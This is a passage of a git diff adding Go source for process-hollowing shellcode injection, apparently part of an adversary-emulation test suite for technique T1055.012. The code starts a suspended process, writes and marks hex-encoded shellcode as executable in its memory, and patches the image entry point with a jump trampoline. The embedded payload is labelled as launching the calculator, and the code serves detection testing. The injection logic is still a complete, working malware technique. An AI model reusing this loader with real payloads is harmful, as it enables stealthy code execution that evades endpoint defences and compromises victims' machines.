peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2))) + if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2)) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader)) + fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian + fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew)) + } + + // 23117 is the LittleEndian unsigned base10 representation of MZ + // 0x5a4d is the LittleEndian unsigned base16 represenation of MZ + if dosHeader.Magic != 23117 { + log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ")) + } + + // Read the child process's PE header signature to validate it is a PE + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...") + } + var Signature uint32 + var readBytes3 int32 + + _, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3))) + if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3)) + + } + if *debug { + fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature)) + } + + // 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated) + // 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated) + if Signature != 17744 { + log.Fatal("[!]PE Signature string was not PE") + } + + // Read the child process's PE file header + /* + typedef struct _IMAGE_FILE_HEADER { + USHORT Machine; + USHORT NumberOfSections; + ULONG TimeDateStamp; + ULONG PointerToSymbolTable; + ULONG NumberOfSymbols; + USHORT SizeOfOptionalHeader; + USHORT Characteristics; + } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; + */ + + type IMAGE_FILE_HEADER struct { + Machine uint16 + NumberOfSections uint16 + TimeDateStamp uint32 + PointerToSymbolTable uint32 + NumberOfSymbols uint32 + SizeOfOptionalHeader uint16 + Characteristics uint16 + } + + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...") + } + var peHeader IMAGE_FILE_HEADER + var readBytes4 int32 + + _, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4))) + if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4)) + switch peHeader.Machine { + case 34404: // 0x8664 + fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)") + case 332: // 0x14c + fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)") + default: + fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine)) + } + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader)) + fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine)) + } + + // Read the child process's PE optional header to find it's entry point + /* + https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64 + typedef struct _IMAGE_OPTIONAL_HEADER64 { + WORD Magic; + BYTE MajorLinkerVersion; + BYTE MinorLinkerVersion; + DWORD SizeOfCode; + DWORD SizeOfInitializedData; + DWORD SizeOfUninitializedData; + DWORD AddressOfEntryPoint; + DWORD BaseOfCode; + ULONGLONG ImageBase; + DWORD SectionAlignment; + DWORD FileAlignment; + WORD MajorOperatingSystemVersion; + WORD MinorOperatingSystemVersion; + WORD MajorImageVersion; + WORD MinorImageVersion; + WORD MajorSubsystemVersion; + WORD MinorSubsystemVersion; + DWORD Win32VersionValue; + DWORD SizeOfImage; + DWORD SizeOfHeaders; + DWORD CheckSum; + WORD Subsystem; + WORD DllCharacteristics; + ULONGLONG SizeOfStackReserve; + ULONGLONG SizeOfStackCommit; + ULONGLONG SizeOfHeapReserve; + ULONGLONG SizeOfHeapCommit; + DWORD LoaderFlags; + DWORD NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; + */ + + type IMAGE_OPTIONAL_HEADER64 struct { + Magic uint16 + MajorLinkerVersion byte + MinorLinkerVersion byte + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory uintptr + } + + /* + https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32 + typedef struct _IMAGE_OPTIONAL_HEADER { + WORD Magic; + BYTE MajorLinkerVersion; + BYTE MinorLinkerVersion; + DWORD SizeOfCode; + DWORD SizeOfInitializedData; + DWORD SizeOfUninitializedData; + DWORD AddressOfEntryPoint; + DWORD BaseOfCode; + DWORD BaseOfData; + DWORD ImageBase; + DWORD SectionAlignment; + DWORD FileAlignment; + WORD MajorOperatingSystemVersion; + WORD MinorOperatingSystemVersion; + WORD MajorImageVersion; + WORD MinorImageVersion; + WORD MajorSubsystemVersion; + WORD MinorSubsystemVersion; + DWORD Win32VersionValue; + DWORD SizeOfImage; + DWORD SizeOfHeaders; + DWORD CheckSum; + WORD Subsystem; + WORD DllCharacteristics; + DWORD SizeOfStackReserve; + DWORD SizeOfStackCommit; + DWORD SizeOfHeapReserve; + DWORD SizeOfHeapCommit; + DWORD LoaderFlags; + DWORD NumberOfRvaAndSizes; + IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; + */ + + type IMAGE_OPTIONAL_HEADER32 struct { + Magic uint16 + MajorLinkerVersion byte + MinorLinkerVersion byte + SizeOfCode uint32 + SizeOfInitializedData uint32 + SizeOfUninitializedData uint32 + AddressOfEntryPoint uint32 + BaseOfCode uint32 + BaseOfData uint32 // Different from 64 bit header + ImageBase uint64 + SectionAlignment uint32 + FileAlignment uint32 + MajorOperatingSystemVersion uint16 + MinorOperatingSystemVersion uint16 + MajorImageVersion uint16 + MinorImageVersion uint16 + MajorSubsystemVersion uint16 + MinorSubsystemVersion uint16 + Win32VersionValue uint32 + SizeOfImage uint32 + SizeOfHeaders uint32 + CheckSum uint32 + Subsystem uint16 + DllCharacteristics uint16 + SizeOfStackReserve uint64 + SizeOfStackCommit uint64 + SizeOfHeapReserve uint64 + SizeOfHeapCommit uint64 + LoaderFlags uint32 + NumberOfRvaAndSizes uint32 + DataDirectory uintptr + } + + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...") + } + + var optHeader64 IMAGE_OPTIONAL_HEADER64 + var optHeader32 IMAGE_OPTIONAL_HEADER32 + var errReadProcessMemory5 error + var readBytes5 int32 + + if peHeader.Machine == 34404 { // 0x8664 + _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5))) + } else if peHeader.Machine == 332 { // 0x14c + _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5))) + } else { + log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5)) + } + if *debug { + if peHeader.Machine == 332 { // 0x14c + fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32)) + fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase)) + fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint)) + fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint))) + } + if peHeader.Machine == 34404 { // 0x8664 + fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64)) + fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase)) + fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint)) + fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint))) + } + } + + // Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it + var ep uintptr + if peHeader.Machine == 34404 { // 0x8664 x64 + ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint) + } else if peHeader.Machine == 332 { // 0x14c x86 + ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint) + } else { + log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + var epBuffer []byte + var shellcodeAddressBuffer []byte + // x86 - 0xb8 = mov eax + // x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax + if peHeader.Machine == 34404 { // 0x8664 x64 + epBuffer = append(epBuffer, byte(0x48)) + epBuffer = append(epBuffer, byte(0xb8)) + shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address + binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr)) + epBuffer = append(epBuffer, shellcodeAddressBuffer...) + } else if peHeader.Machine == 332 { // 0x14c x86 + epBuffer = append(epBuffer, byte(0xb8)) + shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address + binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr)) + epBuffer = append(epBuffer, shellcodeAddressBuffer...) + } else { + log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine)) + } + + // 0xff ; 0xe0 = jmp [r|e]ax + epBuffer = append(epBuffer, byte(0xff)) + epBuffer = append(epBuffer, byte(0xe0)) + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer)) + } + + _, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer))) + + if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error())) + } + if *verbose { + fmt.Println("[-]Successfully overwrote the AddressofEntryPoint") + } + + // Resume the child process + if *debug { + fmt.Println("[DEBUG]Calling ResumeThread...") + } + _, errResumeThread := windows.ResumeThread(procInfo.Thread) + if errResumeThread != nil { + log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error())) + } + if *verbose { + fmt.Println("[+]Process resumed and shellcode executed") + } + + // Close the handle to the child process + if *debug { + fmt.Println("[DEBUG]Calling CloseHandle on child process...") + } + errCloseProcHandle := windows.CloseHandle(procInfo.Process) + if errCloseProcHandle != nil { + log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error())) + } + + // Close the hand to the child process thread + if *debug { + fmt.Println("[DEBUG]Calling CloseHandle on child process thread...") + } + errCloseThreadHandle := windows.CloseHandle(procInfo.Thread) + if errCloseThreadHandle != nil { + log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error())) + } +} + +// export GOOS=windows GOARCH=amd64;go build -o goCreateProcess.exe ./CreateProcess.go +// test STDERR go run ./CreateProcess.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf" diff --git a/atomics/T1055.012/src/x64/CreateProcessWithPipe.go b/atomics/T1055.012/src/x64/CreateProcessWithPipe.go new file mode 100644 index 00000000..6e7c9c5a --- /dev/null +++ b/atomics/T1055.012/src/x64/CreateProcessWithPipe.go @@ -0,0 +1,755 @@ +//go:build windows +// +build windows + +// CREDIT: https://raw.githubusercontent.com/Ne0nd0g/go-shellcode/master/cmd/CreateProcessWithPipe/main.go + +package main + +import ( + "encoding/binary" + "encoding/hex" + "flag" + "fmt" + "log" + "os" + "syscall" + "unsafe" + + // Sub Repositories + "golang.org/x/sys/windows" +) + +func main() { + verbose := flag.Bool("verbose", false, "Enable verbose output") + debug := flag.Bool("debug", false, "Enable debug output") + program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into") + args := flag.String("args", "", "Program command line arguments") + flag.Usage = func() { + flag.PrintDefaults() + os.Exit(0) + } + flag.Parse() + + // Pop Calc Shellcode + shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3") + if errShellcode != nil { + log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error())) + } + + if *debug { + fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...") + } + + // Load DLLs and Procedures + kernel32 := windows.NewLazySystemDLL("kernel32.dll") + ntdll := windows.NewLazySystemDLL("ntdll.dll") + + if *debug { + fmt.Println("[DEBUG]Loading supporting procedures...") + } + VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") + VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") + WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") + NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") + + // Create anonymous pipe for STDIN + // TODO I don't think I need this for anything + var stdInRead windows.Handle + var stdInWrite windows.Handle + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDIN...")) + } + errStdInPipe := windows.CreatePipe(&stdInRead, &stdInWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0) + if errStdInPipe != nil { + log.Fatal(fmt.Sprintf("[!]Error creating the STDIN pipe:\r\n%s", errStdInPipe.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully created STDIN pipe")) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]STDIN pipe read handle %v", stdInRead)) + fmt.Println(fmt.Sprintf("[DEBUG]STDIN pipe write handle %v", stdInWrite)) + } + + // Create anonymous pipe for STDOUT + var stdOutRead windows.Handle + var stdOutWrite windows.Handle + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDOUT...")) + } + errStdOutPipe := windows.CreatePipe(&stdOutRead, &stdOutWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0) + if errStdOutPipe != nil { + log.Fatal(fmt.Sprintf("[!]Error creating the STDOUT pipe:\r\n%s", errStdOutPipe.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully created STDOUT pipe")) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe read handle %v", stdOutRead)) + fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe write handle %v", stdOutWrite)) + } + + // Create anonymous pipe for STDERR + var stdErrRead windows.Handle + var stdErrWrite windows.Handle + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDERR...")) + } + errStdErrPipe := windows.CreatePipe(&stdErrRead, &stdErrWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0) + if errStdErrPipe != nil { + log.Fatal(fmt.Sprintf("[!]Error creating the STDERR pipe:\r\n%s", errStdErrPipe.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully created STDERR pipe")) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]STDERR pipe read handle %v", stdErrRead)) + fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe write handle %v", stdErrWrite)) + } + + // Create child proccess in suspended state + /* + BOOL CreateProcessW( + LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation + ); + */ + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args)) + } + procInfo := &windows.ProcessInformation{} + startupInfo := &windows.StartupInfo{ + StdInput: stdInRead, + StdOutput: stdOutWrite, + StdErr: stdErrWrite, + Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED, + ShowWindow: 1, + } + errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo) + if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully created the %s prcoess in PID %d", *program, procInfo.ProcessId)) + } + + // Allocate memory in child process + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId)) + } + addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) + + if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error())) + } + + if addr == 0 { + log.Fatal("[!]VirtualAllocEx failed and returned 0") + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId)) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr)) + } + + // Write shellcode into child process memory + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId)) + } + _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode))) + + if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId)) + } + + // Change memory permissions to RX in child process where shellcode was written + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId)) + } + oldProtect := windows.PAGE_READWRITE + _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect))) + if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId)) + } + + // Query the child process and find its image base address from its Process Environment Block (PEB) + // https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37 + // http://bytepointer.com/resources/tebpeb32.htm + // https://www.nirsoft.net/kernel_struct/vista/PEB.html + type PEB struct { + //reserved1 [2]byte // BYTE 0-1 + InheritedAddressSpace byte // BYTE 0 + ReadImageFileExecOptions byte // BYTE 1 + BeingDebugged byte // BYTE 2 + reserved2 [1]byte // BYTE 3 + // ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+) + // IsProtectedProcess : 1; //0x0003:1 (Vista+) + // IsLegacyProcess : 1; //0x0003:2 (Vista+) + // IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+) + // SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+) + // IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+) + // IsAppContainer : 1; //0x0003:6 (Win8_RTM+) + // SpareBit : 1; //0x0003:7 + //reserved3 [2]uintptr // PVOID BYTE 4-8 + Mutant uintptr // BYTE 4 + ImageBaseAddress uintptr // BYTE 8 + Ldr uintptr // PPEB_LDR_DATA + ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS + reserved4 [3]uintptr // PVOID + AtlThunkSListPtr uintptr // PVOID + reserved5 uintptr // PVOID + reserved6 uint32 // ULONG + reserved7 uintptr // PVOID + reserved8 uint32 // ULONG + AtlThunkSListPtr32 uint32 // ULONG + reserved9 [45]uintptr // PVOID + reserved10 [96]byte // BYTE + PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE + reserved11 [128]byte // BYTE + reserved12 [1]uintptr // PVOID + SessionId uint32 // ULONG + } + + // https://github.com/elastic/go-windows/blob/master/ntdll.go#L77 + type PROCESS_BASIC_INFORMATION struct { + reserved1 uintptr // PVOID + PebBaseAddress uintptr // PPEB + reserved2 [2]uintptr // PVOID + UniqueProcessId uintptr // ULONG_PTR + InheritedFromUniqueProcessID uintptr // PVOID + } + + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId)) + } + + var processInformation PROCESS_BASIC_INFORMATION + var returnLength uintptr + ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength) + if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error())) + } + if ntStatus != 0 { + if ntStatus == 3221225476 { + log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476) + } + fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus)) + log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus))) + } + if *verbose { + fmt.Println("[-]Got PEB info from NtQueryInformationProcess") + } + + // Read from PEB base address to populate the PEB structure + // ReadProcessMemory + /* + BOOL ReadProcessMemory( + HANDLE hProcess, + LPCVOID lpBaseAddress, + LPVOID lpBuffer, + SIZE_T nSize, + SIZE_T *lpNumberOfBytesRead + ); + */ + + ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") + + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...") + } + + var peb PEB + var readBytes int32 + + _, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes))) + if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes)) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb)) + fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress)) + } + + // Read the child program's DOS header and validate it is a MZ executable + type IMAGE_DOS_HEADER struct { + Magic uint16 // USHORT Magic number + Cblp uint16 // USHORT Bytes on last page of file + Cp uint16 // USHORT Pages in file + Crlc uint16 // USHORT Relocations + Cparhdr uint16 // USHORT Size of header in paragraphs + MinAlloc uint16 // USHORT Minimum extra paragraphs needed + MaxAlloc uint16 // USHORT Maximum extra paragraphs needed + SS uint16 // USHORT Initial (relative) SS value + SP uint16 // USHORT Initial SP value + CSum uint16 // USHORT Checksum + IP uint16 // USHORT Initial IP value + CS uint16 // USHORT Initial (relative) CS value + LfaRlc uint16 // USHORT File address of relocation table + Ovno uint16 // USHORT Overlay number + Res [4]uint16 // USHORT Reserved words + OEMID uint16 // USHORT OEM identifier (for e_oeminfo) + OEMInfo uint16 // USHORT OEM information; e_oemid specific + Res2 [10]uint16 // USHORT Reserved words + LfaNew int32 // LONG File address of new exe header + } + + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...") + } + + var dosHeader IMAGE_DOS_HEADER + var readBytes2 int32 + + _, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2))) + if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2)) + } + if *debug { + fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader)) + fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian + fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew)) + } + + // 23117 is the LittleEndian unsigned base10 representation of MZ + // 0x5a4d is the LittleEndian unsigned base16 represenation of MZ + if dosHeader.Magic != 23117 { + log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ")) + } + + // Read the child process's PE header signature to validate it is a PE + if *debug { + fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...") + } + var Signature uint32 + var readBytes3 int32 + + _, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3))) + if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." { + log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error())) + } + if *verbose { + fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3)) + + } + if *debug { + fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature)) + } + + // 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated) + // 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE 